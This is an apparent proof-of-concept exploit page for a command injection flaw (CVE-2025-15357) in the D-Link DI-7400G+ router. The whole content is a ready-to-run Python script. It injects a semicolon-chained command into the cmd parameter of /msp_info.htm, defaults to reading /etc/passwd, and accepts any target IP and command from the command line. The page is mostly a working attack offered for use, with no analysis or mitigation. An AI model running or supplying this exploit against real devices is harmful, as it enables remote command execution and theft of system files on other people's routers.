D-Link DI-7400G+ 命令注入漏洞 (CVE-2025-15357)

import requests import sys # CVE-2025-15357 PoC - D-Link DI-7400G+ Command Injection # Target: /msp_info.htm?flag=cmd def exploit(target_ip, target_port=80, cmd='cat /etc/passwd'): """ Exploit command injection vulnerability in D-Link DI-7400G+ Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) cmd: Command to execute on target system Returns: Response text from the vulnerable endpoint """ base_url = f"http://{target_ip}:{target_port}" # Construct malicious URL with command injection payload # Using semicolon to chain commands injection_payload = f";{cmd}" params = { 'flag': 'cmd', 'cmd': injection_payload } try: # Send HTTP GET request to vulnerable endpoint response = requests.get( f"{base_url}/msp_info.htm", params=params, timeout=10 ) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Payload: {injection_payload}") print(f"[*] Status Code: {response.status_code}") print("\n[+] Response:") print(response.text) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [cmd]") print(f"Example: python {sys.argv[0]} 192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'cat /etc/passwd' exploit(target, 80, command)